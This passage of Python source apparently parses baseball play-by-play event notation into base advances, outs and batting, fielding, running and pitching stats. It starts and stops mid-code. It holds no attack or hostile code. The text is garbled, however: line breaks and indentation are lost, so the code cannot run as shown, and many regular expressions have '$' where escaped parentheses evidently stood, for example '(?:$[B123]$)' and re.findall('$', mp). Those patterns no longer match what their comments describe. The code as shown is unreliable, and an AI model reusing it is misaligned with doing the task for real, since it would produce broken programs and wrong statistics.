elif re.findall('^FO$', mpm): #force out self.modifiers['force out']= 1 elif re.findall('^TH[H]?[1-9\)]*$', mpm): #throw self.modifiers['throw']= 1 elif re.findall('^S[FH]$', mpm): #sacrifice hit or fly self.modifiers['sacrifice']= mpm[1] self.modifiers['bunt'] = 1 if mpm[1]=='H' else 0 #sacrifice hit is a bunt elif re.findall('^[U]?[6]?R[0-9URNHBS]*(?:$TH$)?$', mpm): #relay self.modifiers['relay'] = 1 self.modifiers['passes'].append(mpm) if re.findall('TH',mpm): self.modifiers['throw'] = 1 elif re.findall('^E[1-9]*$', mpm): #error on $ error = re.findall('^E[1-9]*$', mpm) if 'TH' in mpm: self.stats['fielding'].append(['E(TH)', error[0][1]]) else: self.stats['fielding'].append(['E', error[0][1]]) #self.modifiers['errors'].append(mpm[1]) if len(mpm)>1 else '' elif mpm in ['AP','BOOT','IPHR','NDP','BR','IF','OBS','PASS','C','U','RNT']: #other #U for unkown self.modifiers['other'].append(mpm) elif re.findall('^B?[PGFL][1-9MLRDXSF]?[1-9LRMXDSFW]*$',mpm): self.modifiers['bunt'] = 1 if mpm[0] =='B' else 0 if self.modifiers['trajectory'] =='': self.modifiers['trajectory'] = mpm[1] if mpm[0] =='B' else mpm[0] if self.modifiers['location'] == '': self.modifiers['location'] = mpm[2:] if mpm[0] =='B' else mpm[1:] elif re.findall('^[BU]?[1-9MLRDXSF][1-9LRMXDSFW]*$' ,mpm): self.modifiers['bunt'] = 1 if mpm[0] =='B' else 0 self.modifiers['location'] = mpm elif mpm == '' or mpm=='U4U1': pass else: self.log.debug('Event Not Known: {0}'.format(mpm)) def _advances(self): ### Explicit advances self.ad_out = 0 for loop, move in enumerate(self.em): error = None error_loop = None #each element is a list move = move[0] #--> retrieve string bfrom = move[0] bto = move[2] if re.findall('X', move): #it could be on error or not was_out = None #if describer is numbers only, it was not an error. if self.ad[loop]: #there is a modifier for desc_loop, desc in enumerate(self.ad[loop]): if re.findall('^[1-9U]+$', desc): was_out = True was_out_loop =desc_loop if was_out:#re.findall('^[1-9U]+$', self.ad[loop][0]): #print ('was out') #print (bfrom, bto) self.advances = out_in_advance(self.advances, bfrom=bfrom, bto=bto) self.ad_out +=1 self.base = leave_base(self.base, bfrom=bfrom) ########################### stats ############################## PO = re.findall('[1-9U]$',self.ad[loop][was_out_loop]) if PO: self.stats['fielding'].append(['PO',PO[-1]]) As = re.findall('[1-9U]+', self.ad[loop][was_out_loop]) if As: As = As[0] for a in As: self.stats['fielding'].append(['A',a]) if a not in PO else None self.stats['running'].append(['PO',bfrom, bto]) ########################### end ############################## passes = re.findall('[1-9U]+',self.ad[loop][was_out_loop]) #append pass sequence (for location purposes) self.modifiers['passes'].append(passes[0]) if passes else None else: for describer_loop, describer in enumerate(self.ad[loop]): if re.findall('[1-9]*E[1-9]',describer): error = re.findall('E[1-9]',describer)[0] error_loop = describer_loop if error: self.move_on_error.append(bto) self.advances = advance_base(self.advances, bfrom=bfrom, bto=bto) self.base = move_base( self.base, bfrom=bfrom, bto=bto) ########################### stats ############################## #error describer error_modifier = self.am[loop][error_loop][0] if self.am[loop][error_loop] else '' if re.sub('[1-9U]','', error_modifier) == 'TH': self.stats['fielding'].append(['E(TH)', error[-1]]) else: self.stats['fielding'].append(['E', error[-1]]) #append pass sequence (for location purposes) passes = re.sub('[^0-9]','', error+error_modifier) self.modifiers['passes'].append(passes) if passes else None if move[2] == 'H': run_describer = 'R' run_describer += '(UR)' if 'UR' in self.ad[loop] else '' run_describer += '(NR)' if 'NR' in self.ad[loop] else '' run_describer += '(RBI)' if 'RBI' in self.ad[loop] else '' run_describer += '(NORBI)' if 'NORBI' in self.ad[loop] else '' run_describer += '(TUR)' if 'TUR' in self.ad[loop] else '' self.stats['running'].append([run_describer,bfrom, bto]) ########################### end ############################## else: self.advances = out_in_advance(self.advances, bfrom=bfrom, bto=bto) self.base = leave_base(self.base, bfrom=bfrom) self.ad_out +=1 ########################### stats ############################## PO = re.findall('[1-9U]$',self.ad[loop][0]) if self.ad[loop] else None if PO: self.stats['fielding'].append(['PO',PO[0]]) As = re.findall('[1-9U]+', self.ad[loop][0]) if self.ad[loop] else None if As: As = As[0] for a in As: self.stats['fielding'].append(['A',a]) if a not in PO else None self.stats['running'].append(['PO',bfrom, bto]) ########################### end ############################## passes = re.findall('[1-9U]+',self.ad[loop][0]) if self.ad[loop] else None #append pass sequence (for location purposes) self.modifiers['passes'].append(passes[0]) if passes else None #map other errors, if existing (remove error modifier loop) if len(self.ad[loop]) > 1: for loop2, describer in enumerate(self.ad[loop][1:]): if loop2 != error_loop: other_error = re.findall('E[1-9]',describer) if other_error: error_modifier = self.am[loop][loop2][0] if self.am[loop][loop2] else '' #print ('error modifier', error_modifier) if re.sub('[1-9U]','', error_modifier) == 'TH': self.stats['fielding'].append(['E(TH)', other_error[0][-1]]) else: self.stats['fielding'].append(['E', other_error[0][-1]]) #append pass sequence (for location purposes) passes = re.sub('[^0-9]','', other_error[0]+error_modifier) self.modifiers['passes'].append(passes) if passes else None ''' for describer_loop, describer in enumerate(self.ad[loop]): if re.findall('E[1-9]',describer): error = re.findall('E[1-9]',describer)[0] error_loop = describer_loop if error: self.advances = advance_base(self.advances, bfrom=bfrom, bto=bto) ########################### stats ############################## #error describer error_modifier = self.am[loop][error_loop][0] if self.am[loop][error_loop] else '' if re.sub('[1-9U]','', error_modifier) == 'TH': self.stats['fielding'].append(['E(TH)', error[1]]) else: self.stats['fielding'].append(['E', error[1]]) #append pass sequence (for location purposes) passes = re.sub('[^0-9]','', error+error_modifier) self.modifiers['passes'].append(passes) if passes else None if move[2] == 'H': run_describer = 'R' run_describer += '(UR)' if 'UR' in self.ad[loop] else '' run_describer += '(NR)' if 'NR' in self.ad[loop] else '' run_describer += '(RBI)' if 'RBI' in self.ad[loop] else '' run_describer += '(NORBI)' if 'NORBI' in self.ad[loop] else '' run_describer += '(TUR)' if 'TUR' in self.ad[loop] else '' self.stats['running'].append([run_describer,bfrom, bto]) ########################### end ############################## else: self.advances = out_in_advance(self.advances, bfrom=bfrom, bto=bto) ########################### stats ############################## PO = re.findall('[1-9U]$',self.ad[loop][0]) if self.ad[loop] else None if PO: self.stats['fielding'].append(['PO',PO[0]]) As = re.findall('[1-9U]+', self.ad[loop][0]) if self.ad[loop] else None if As: As = As[0] for a in As: self.stats['fielding'].append(['A',a]) if a not in PO else None self.stats['running'].append(['PO',bfrom, bto]) ########################### end ############################## passes = re.findall('[1-9U]+',self.ad[loop][0]) if self.ad[loop] else None #append pass sequence (for location purposes) self.modifiers['passes'].append(passes[0]) if passes else None #map other errors, if existing (remove error modifier loop) if len(self.ad[loop]) > 1: for loop2, describer in enumerate(self.ad[loop][1:]): other_error = re.findall('[1-9]*E[1-9]',describer) if other_error: error_modifier = self.am[loop][loop2][0] if self.am[loop][loop2] else '' #print ('error modifier', error_modifier) if re.sub('[1-9U]','', error_modifier) == 'TH': self.stats['fielding'].append(['E(TH)', other_error[0][-1]]) else: self.stats['fielding'].append(['E', other_error[0][-1]]) #append pass sequence (for location purposes) passes = re.sub('[^0-9]','', other_error[0]+error_modifier) self.modifiers['passes'].append(passes) if passes else None ''' elif re.findall('\-', move): bfrom = move[0] bto = move[2] self.advances = advance_base(self.advances, bfrom=bfrom, bto=bto) self.base = move_base(self.base, bfrom=bfrom, bto=bto) ########################### stats ############################## if bto == 'H': run_describer = 'R' run_describer += '(UR)' if 'UR' in self.ad[loop] else '' run_describer += '(NR)' if 'NR' in self.ad[loop] else '' run_describer += '(RBI)' if 'RBI' in self.ad[loop] else '' run_describer += '(NORBI)' if 'NORBI' in self.ad[loop] else '' run_describer += '(TUR)' if 'TUR' in self.ad[loop] else '' self.stats['running'].append([run_describer,bfrom, bto]) for describer_loop, describer in enumerate(self.ad[loop]): if re.findall('[1-9]*E[1-9]',describer): error = re.findall('E[1-9]',describer)[0] error_loop = describer_loop #print ('loop', loop,'error', error,'error loop', error_loop) if error: error_modifier = self.am[loop][error_loop][0] if self.am[loop][error_loop] else '' #print (self.am, self.str) if re.sub('[1-9U]','', error_modifier) == 'TH': self.stats['fielding'].append(['E(TH)', error[-1]]) else: self.stats['fielding'].append(['E', error[-1]]) #append pass sequence (for location purposes) passes = re.sub('[^0-9]','', error[0]+error_modifier) self.modifiers['passes'].append(passes) if passes else None ########################### end ############################## #map other errors, if existing (remove error modifier loop) if len(self.ad[loop]) > 1: for loop2, describer in enumerate(self.ad[loop]): if loop2 != error_loop: other_error = re.findall('[1-9]*E[1-9]',describer) if other_error: error_modifier = self.am[loop][loop2][0] if self.am[loop][loop2] else '' #print ('error modifier', error_modifier) if re.sub('[1-9U]','', error_modifier) == 'TH': self.stats['fielding'].append(['E(TH)', other_error[0][-1]]) else: self.stats['fielding'].append(['E', other_error[0][-1]]) #append pass sequence (for location purposes) passes = re.sub('[^0-9]','', other_error[0]+error_modifier) self.modifiers['passes'].append(passes) if passes else None else: self.log.debug('Explicit move not found: {0}'.format(move)) """""" def _play_null(self): self.main_play = out_in_advance(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play#at bat is out self.base = leave_base(self.base, bfrom='B') if not self._is_explicit() else self.base def _play_flyout(self): if 'FO' not in mpm: self.main_play = out_in_advance(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play#at bat is out self.base = leave_base(self.base, bfrom='B') if not self._is_explicit() else self.base if 'FO' in mpm and not re.findall('B', mp): self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play #B-1 except if explicily moving on advances self.base = move_base(self.base, bfrom='B', bto='1') PO = mp[-1] As = mp[:-1] if As: for a in As: self.stats['fielding'].append(['A',a]) self.stats['batting'].append(['SF','']) if 'SF' in mpm else None self.stats['batting'].append(['SH','']) if 'SH' in mpm else None self.stats['batting'].append(['GDP','']) if 'GDP' in mpm else None passes = re.sub('(?:$[^$]+\))','',mp) self.modifiers['passes'].append(passes) def _play_pass_outs(self): for base_out in re.findall('(?:$[B123]$)', mp): self.main_play = out_in_advance(self.main_play, bfrom=base_out[1]) #excluding at bat self.base = leave_base(self.base, bfrom=base_out[1]) if 'FO' in mpm and not re.findall('B', mp): self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play #B-1 except if explicily moving on advances self.base = move_base(self.base, bfrom='B', bto='1') #Testing for double play double_play = False triple_play = False if 'BGDP' in mpm or 'BPDP' in mpm or 'DP' in mpm or 'FDP'in mpm or 'GDP' in mpm or 'LDP' in mpm: double_play = True if 'BGTP' in mpm or 'BPTP' in mpm or 'TP' in mpm or 'FTP' in mpm or 'GTP' in mpm or 'LTP' in mpm: triple_play = True if double_play and self.main_play['out'] + self.ad_out < 2: if 'FO' not in mpm: self.main_play = out_in_advance(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play#at bat is out self.base = leave_base(self.base, bfrom='B') if not self._is_explicit() else self.base else: self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base if triple_play and self.main_play['out'] + self.ad_out < 3: if 'FO' not in mpm: self.main_play = out_in_advance(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play#at bat is out self.base = leave_base(self.base, bfrom='B') if not self._is_explicit() else self.base else: self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base ########################### stats ############################## fielder1 = re.findall('^[1-9]$', mp) #flyball, not always present fielders2 = re.findall('[1-9]$', mp)#$$()$ play, with explicit outs fielders2 = [x.replace('(','') for x in fielders2] if fielders2 else [] fielders3 = re.findall('^[1-9][1-9]+$', mp) #when its a sequence and out fielders3 = [fielders3[0][-1]] if fielders3 else [] fielders4 = [mp[-1]] if re.findall('[1-9]$', mp) and 'GDP' in mpm else [] #it was a Ground into Double Play POs = fielder1 + fielders2 + fielders3 + fielders4 double_play = False triple_play = False if 'BGDP' in mpm or 'BPDP' in mpm or 'DP' in mpm or 'FDP'in mpm or 'GDP' in mpm or 'LDP' in mpm: double_play = True if 'BGTP' in mpm or 'BPTP' in mpm or 'TP' in mpm or 'FTP' in mpm or 'GTP' in mpm or 'LTP' in mpm: triple_play = True for po in POs: self.stats['fielding'].append(['PO',po[0]]) self.stats['fielding'].append(['DP',po[0]]) if double_play else None self.stats['fielding'].append(['TP',po[0]]) if triple_play else None all_fielders_touched = re.sub(r'\([^)]*$', '', mp) for fielder in all_fielders_touched: if fielder not in POs: self.stats['fielding'].append(['A',fielder]) self.stats['batting'].append(['SF','']) if 'SF' in mpm else None self.stats['batting'].append(['SH','']) if 'SH' in mpm else None self.stats['batting'].append(['GDP','']) if 'GDP' in mpm else None passes = re.sub('(?:$[^$]+\))','',mp) self.modifiers['passes'].append(passes) def _play_error_on_out(self): self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play #B-1 except if explicily moving on advances self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## error_fielder = re.findall('E[1-9]$', mp)[0] self.stats['fielding'].append(['E',error_fielder[1]]) def _play_cs(self): for cs in mp.split(';'): bto = cs[2] bfrom = PREVIOUS_BASE[cs[2]] self.main_play = out_in_advance(self.main_play, bto=cs[2]) self.base = leave_base(self.base, bfrom=bfrom) if not self._is_explicit() else self.base ########################### stats ############################## self.stats['running'].append(['CS',bfrom, bto]) PO = re.findall('[1-9]\)', cs) if PO: PO = PO[0].replace(')','') self.stats['fielding'].append(['PO',PO[0]]) As = re.findall('(?:$[^\(]+$)', cs) if As: As = As[0].replace('(','').replace(')','') for a in As: if a not in PO: self.stats['fielding'].append(['A',a]) passes = re.sub('CS[23H]','', cs).replace('(','').replace(')','').replace('E','') if passes: self.modifiers['passes'].append(passes) ########################### end ################################ def _play_cs_error(self): #the advance could also be explicit given the error, for more than one base. for cs in mp.split(';'): bto = cs[2] bfrom = PREVIOUS_BASE[cs[2]] self.main_play = advance_base(self.main_play, bto=bto) if not self._is_explicit(bfrom=bfrom) else self.main_play self.base = move_base(self.base, bfrom=bfrom, bto=bto) if not self._is_explicit(bfrom=bfrom) else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['running'].append(['CS(E)',bfrom, bto]) #caught stealing w error As = re.findall('^(?:\([1-9]+E)+', cs) if As: As = As[0].replace('E','').replace('(','') for a in As: self.stats['fielding'].append(['A',a]) error_fielder = re.findall('E[1-9]', cs)[0] self.stats['fielding'].append(['E',error_fielder[1]]) passes = re.sub('CS[23H]','', cs).replace('(','').replace(')','').replace('E','') if passes: self.modifiers['passes'].append(passes) ########################### end ################################ def _play_balk(self): self.stats['pitching'].append(['BK','1']) def _play_double(self): self.main_play = advance_base(self.main_play, bto='2',bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='2') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['2B','']) self.stats['batting'].append(['H','']) #hit self.stats['pitching'].append(['H','1']) passes = re.findall('[0-9]', mp) if passes: self.modifiers['passes'].append(passes[0]) ########################### end ################################ def _play_grd(self): #ground rule double self.main_play = advance_base(self.main_play, bto='2',bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='2') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['DGR','']) self.stats['batting'].append(['H','']) #hit self.stats['pitching'].append(['H','1']) passes = re.findall('[0-9]+', mp) if passes: self.modifiers['passes'].append(passes[0]) def _play_di(self): #defensive indiference ########################### stats ############################## for explicit_move in self.em: bto = explicit_move[0][2] bfrom = explicit_move[0][0] self.stats['running'].append(['DI',bfrom, bto]) ########################### end ################################ def _play_error2(self): self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B',bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## error_fielder = re.findall('E[1-9]$', mp)[0] if 'TH' in mpm: #throwing error self.stats['fielding'].append(['E(TH)',error_fielder[1]]) else: self.stats['fielding'].append(['E',error_fielder[1]]) passes = re.findall('[0-9]+', mp) if passes: self.modifiers['passes'].append(passes[0]) ########################### end ################################ def _play_fc(self): #fielder's choice self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['FC','']) if len(mp) > 2: self.stats['fielding'].append(['FC',mp[2]]) self.modifiers['passes'].append(mp[2]) ########################### end ################################ def _play_fle(self): # error on foul fly play (error given to the play but no advances) ########################### stats ############################## self.stats['fielding'].append(['FLE',mp[3]]) ########################### end ################################ def _play_home_run(self): self.main_play = advance_base(self.main_play, bto='H',bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='H') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['running'].append(['R','B', 'H']) self.stats['batting'].append(['HR','']) #home run self.stats['pitching'].append(['HR','1']) self.stats['batting'].append(['H','']) #hit self.stats['pitching'].append(['H','1']) self.stats['batting'].append(['R','']) #run if 'IPHR' in mpm: self.stats['batting'].append(['IPHR','']) ########################### end ################################ def _play_hb(self): self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['HBP','']) #hit by pitch ########################### end ################################ def _play_walk(self): self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['BB','']) #base on balls self.stats['pitching'].append(['BB','1']) #base on balls ########################### end ################################ def _play_iwalk(self): self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['IBB','']) #base on balls self.stats['pitching'].append(['IBB','1']) #base on balls ########################### end ################################ def _play_strikeout(self): self.main_play = out_in_advance(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = leave_base(self.base, bfrom='B') if not self._is_explicit() else self.base ########################### stats ############################## self.stats['batting'].append(['K','']) #strikeout self.stats['fielding'].append(['PO','2']) #strikeout self.stats['pitching'].append(['K','1']) #strikeout self.stats['batting'].append(['SF','']) if 'SF' in mpm else None self.stats['batting'].append(['SH','']) if 'SH' in mpm else None ########################### end ################################ def _play_pb(self): ########################### stats ############################## self.stats['fielding'].append(['PB','2']) ########################### end ################################ def _play_po(self): bfrom = mp[2] bto = NEXT_BASE[mp[2]] self.main_play = out_in_advance(self.main_play, bfrom=bfrom) if not self._is_explicit(bfrom) else self.main_play self.base = leave_base(self.base, bfrom=bfrom) if not self._is_explicit() else self.base ########################### stats ############################## PO = re.findall('[1-9]\)', mp) if PO: PO = PO[0].replace(')','') self.stats['fielding'].append(['PO',PO[0]]) As = re.findall('(?:$[^\(]+$)', mp) if As: As = As[0].replace('(','').replace(')','') for a in As: if a not in PO: self.stats['fielding'].append(['A',a]) passes = re.sub('PO[123]\(','', mp).replace(')','').replace('E','') self.modifiers['passes'].append(passes) self.stats['running'].append(['PO',bfrom, bfrom]) #player never moved base ########################### end ################################ def _play_po_error(self): ########################### stats ############################## bfrom = mp[2] bto = NEXT_BASE[mp[2]] self.stats['running'].append(['PO(E)',bfrom, bto]) As = re.findall('^(?:\([1-9]+E)+', mp) #assists to other players if As: As = As[0].replace('E','').replace('(','') for a in As: self.stats['fielding'].append(['A',a]) passes = re.sub('PO[123]$','', mp).replace(')','').replace('E','') self.modifiers['passes'].append(passes) error_fielder = re.findall('E[1-9]', mp)[0] self.stats['fielding'].append(['E',error_fielder[1]]) ########################### end ################################ def _play_pocs(self): for split in mp.split(';'): if split[0:2] == 'CS': bto = split[2] bfrom = PREVIOUS_BASE[split[2]] self.main_play = out_in_advance(self.main_play, bto=bto) if not self._is_explicit(bfrom) else self.main_play self.base = leave_base(self.base, bfrom=bfrom) if not self._is_explicit() else self.base self.stats['running'].append(['CS',bfrom, bto]) else: bto = split[4] bfrom = PREVIOUS_BASE[split[4]] out_in_advance( self.main_play, bto=bto) if not self._is_explicit(bfrom) else self.main_play #there are CS events together with POCS self.base = leave_base(self.base, bfrom=bfrom) if not self._is_explicit() else self.base self.stats['running'].append(['CS',bfrom, bto]) ########################### stats ############################## PO = re.findall('[1-9]$', split) if PO: PO = PO[0].replace(')','') self.stats['fielding'].append(['PO',PO[0]]) As = re.findall('(?:$[^\(]+$)', split) if As: As = As[0].replace('(','').replace(')','') for a in As: if a not in PO: self.stats['fielding'].append(['A',a]) passes = re.sub('POCS[123]\(','', mp).replace(')','').replace('E','') self.modifiers['passes'].append(passes) ########################### end ################################ def _play_pocs_error(self): ########################### stats ############################## bto = mp[4] bfrom = PREVIOUS_BASE[mp[4]] self.stats['running'].append(['CS(E)',bfrom, bto]) As = re.findall('^(?:\([1-9]+E)+', mp) #assists to other players if As: As = As[0].replace('E','').replace('(','') for a in As: self.stats['fielding'].append(['A',a]) error_fielder = re.findall('E[1-9]', mp)[0] self.stats['fielding'].append(['E',error_fielder[1]]) passes = re.sub('POCS[123]\(','', mp).replace(')','').replace('E','') self.modifiers['passes'].append(passes) ########################### end ################################ def _play_single(self): self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['1B','']) #single self.stats['batting'].append(['H','']) #hit self.stats['pitching'].append(['H','1']) passes = re.findall('[0-9]', mp) if passes: self.modifiers['passes'].append(passes[0]) ########################### end ################################ def _play_stolen_base(self): for sb in mp.split(';'): if sb[0:2] == 'SB': bto = sb[2] bfrom = PREVIOUS_BASE[sb[2]] self.main_play = advance_base(self.main_play, bto=sb[2]) if not self._is_explicit(bfrom) else self.main_play self.base = move_base(self.base, bfrom=bfrom, bto=bto) if not self._is_explicit(bfrom) else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['running'].append(['SB',bfrom, bto]) self.stats['running'].append(['R',bfrom, bto]) if sb[2] == 'H' else None ########################### end ################################ def _play_triple(self): self.main_play = advance_base(self.main_play, bfrom='B', bto='3') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='3') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['3B','']) self.stats['batting'].append(['H','']) #hit passes = re.findall('[0-9]', mp) if passes: self.modifiers['passes'].append(passes[0]) ########################### end ################################ def _play_wp(self): ########################### stats ############################## self.stats['pitching'].append(['WP','1']) ########################### end ################################ def _play_ci(self): if 'E1' in mpm : ########################### stats ############################## self.stats['fielding'].append(['E','1']) ########################### end ################################ elif 'E2' in mpm: ########################### stats ############################## self.stats['fielding'].append(['CI','2']) ########################### end ################################ elif 'E3' in mpm: ########################### stats ############################## self.stats['fielding'].append(['E','3']) ########################### end ################################ def _main_play(self, mp, mpm): """Parse main play""" if mp == '99': #error or unknown --> usually out self.main_play = out_in_advance(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play#at bat is out self.base = leave_base(self.base, bfrom='B') if not self._is_explicit() else self.base elif re.findall('^[1-9]', mp) and not re.findall('$', mp) and not re.findall('E', mp): #single out, or without multiple plays if 'FO' not in mpm: self.main_play = out_in_advance(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play#at bat is out self.base = leave_base(self.base, bfrom='B') if not self._is_explicit() else self.base if 'FO' in mpm and not re.findall('B', mp): self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play #B-1 except if explicily moving on advances self.base = move_base(self.base, bfrom='B', bto='1') PO = mp[-1] As = mp[:-1] if As: for a in As: self.stats['fielding'].append(['A',a]) self.stats['batting'].append(['SF','']) if 'SF' in mpm else None self.stats['batting'].append(['SH','']) if 'SH' in mpm else None self.stats['batting'].append(['GDP','']) if 'GDP' in mpm else None passes = re.sub('(?:\([^$]+\))','',mp) self.modifiers['passes'].append(passes) elif re.findall('^[1-9](?:[1-9]*(?:$[B123]$)?)*\+?\-?$', mp): # implicit B out or not for base_out in re.findall('(?:$[B123]$)', mp): expression = '[\-]{0}'.format(base_out[1]) moves = self.str.split('.')[len(self.str.split('.'))-1] if not re.findall(expression, self.str.split('.')[len(self.str.split('.'))-1]) and base_out[1] not in self.move_on_error: #a player moved to that base in advaances self.main_play = out_in_advance(self.main_play, bfrom=base_out[1]) #excluding at bat self.base = leave_base(self.base, bfrom=base_out[1]) else: self.main_play['out'] += 1 #self.base = leave_base(self.base, bfrom=base_out[1]) if 'FO' in mpm and not re.findall('B', mp): self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play #B-1 except if explicily moving on advances self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #Testing for double play double_play = False triple_play = False if 'BGDP' in mpm or 'BPDP' in mpm or 'DP' in mpm or 'FDP'in mpm or 'GDP' in mpm or 'LDP' in mpm: double_play = True if 'BGTP' in mpm or 'BPTP' in mpm or 'TP' in mpm or 'FTP' in mpm or 'GTP' in mpm or 'LTP' in mpm: triple_play = True if double_play and not re.findall('B', mp) and (self.main_play['out'] + self.ad_out) == 2: # E.G: 5(2)4(1)/GDP --> b advanced to first self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B',bto='1') if not self._is_explicit() else self.base if not double_play and not re.findall('B', mp): # E.G.: 16(1)/F self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B',bto='1') if not self._is_explicit() else self.base if double_play and self.main_play['out'] + self.ad_out < 2: if 'FO' not in mpm: self.main_play = out_in_advance(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play#at bat is out self.base = leave_base(self.base, bfrom='B') if not self._is_explicit() else self.base else: self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base if triple_play and self.main_play['out'] + self.ad_out < 3: if 'FO' not in mpm: self.main_play = out_in_advance(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play#at bat is out self.base = leave_base(self.base, bfrom='B') if not self._is_explicit() else self.base else: self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base ########################### stats ############################## fielder1 = re.findall('^[1-9]$', mp) #flyball, not always present fielders2 = re.findall('[1-9]$', mp)#$$()$ play, with explicit outs fielders2 = [x.replace('(','') for x in fielders2] if fielders2 else [] fielders3 = re.findall('^[1-9][1-9]+$', mp) #when its a sequence and out fielders3 = [fielders3[0][-1]] if fielders3 else [] fielders4 = [mp[-1]] if re.findall('[1-9]$', mp) and 'GDP' in mpm else [] #it was a Ground into Double Play POs = fielder1 + fielders2 + fielders3 + fielders4 double_play = False triple_play = False if 'BGDP' in mpm or 'BPDP' in mpm or 'DP' in mpm or 'FDP'in mpm or 'GDP' in mpm or 'LDP' in mpm: double_play = True if 'BGTP' in mpm or 'BPTP' in mpm or 'TP' in mpm or 'FTP' in mpm or 'GTP' in mpm or 'LTP' in mpm: triple_play = True for po in POs: self.stats['fielding'].append(['PO',po[0]]) self.stats['fielding'].append(['DP',po[0]]) if double_play else None self.stats['fielding'].append(['TP',po[0]]) if triple_play else None all_fielders_touched = re.sub(r'\([^)]*$', '', mp) for fielder in all_fielders_touched: if fielder not in POs: self.stats['fielding'].append(['A',fielder]) self.stats['batting'].append(['SF','']) if 'SF' in mpm else None self.stats['batting'].append(['SH','']) if 'SH' in mpm else None self.stats['batting'].append(['GDP','']) if 'GDP' in mpm else None passes = re.sub('(?:$[^$]+\))','',mp) self.modifiers['passes'].append(passes) ########################### end ############################## elif re.findall('^[1-9][1-9]*E[1-9]*$', mp): #error on out, B-1 implicit if not explicit self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play #B-1 except if explicily moving on advances self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## error_fielder = re.findall('E[1-9]$', mp)[0] self.stats['fielding'].append(['E',error_fielder[1]]) ########################### end ############################## elif re.findall('^CS[23H](?:$[1-9]+$)+', mp):##caught stealing (except errors): for cs in mp.split(';'): bto = cs[2] bfrom = PREVIOUS_BASE[cs[2]] if re.findall('[\-X]{0}'.format(bfrom), self.str.split('.')[len(self.str.split('.'))-1]): self.main_play['out'] += 1 else: self.main_play = out_in_advance(self.main_play, bto=cs[2]) self.base = leave_base(self.base, bfrom=bfrom) if not self._is_explicit(bfrom) else self.base ########################### stats ############################## self.stats['running'].append(['CS',bfrom, bto]) PO = re.findall('[1-9]\)', cs) if PO: PO = PO[0].replace(')','') self.stats['fielding'].append(['PO',PO[0]]) As = re.findall('(?:$[^\(]+$)', cs) if As: As = As[0].replace('(','').replace(')','') for a in As: if a not in PO: self.stats['fielding'].append(['A',a]) passes = re.sub('CS[23H]','', cs).replace('(','').replace(')','').replace('E','') if passes: self.modifiers['passes'].append(passes) ########################### end ################################ elif re.findall('^CS[23H](?:\([1-9]*E[1-9]+)+', mp): ## caught stealing errors #the advance could also be explicit given the error, for more than one base. for cs in mp.split(';'): bto = cs[2] bfrom = PREVIOUS_BASE[cs[2]] if not self._is_explicit(bfrom): if re.findall('[\-X]{0}'.format(bfrom), self.str.split('.')[len(self.str.split('.'))-1]): self.main_play[bto] = 1 if bto == 'H' or bfrom == '3': self.main_play['run'] += 1 if bto=='H': 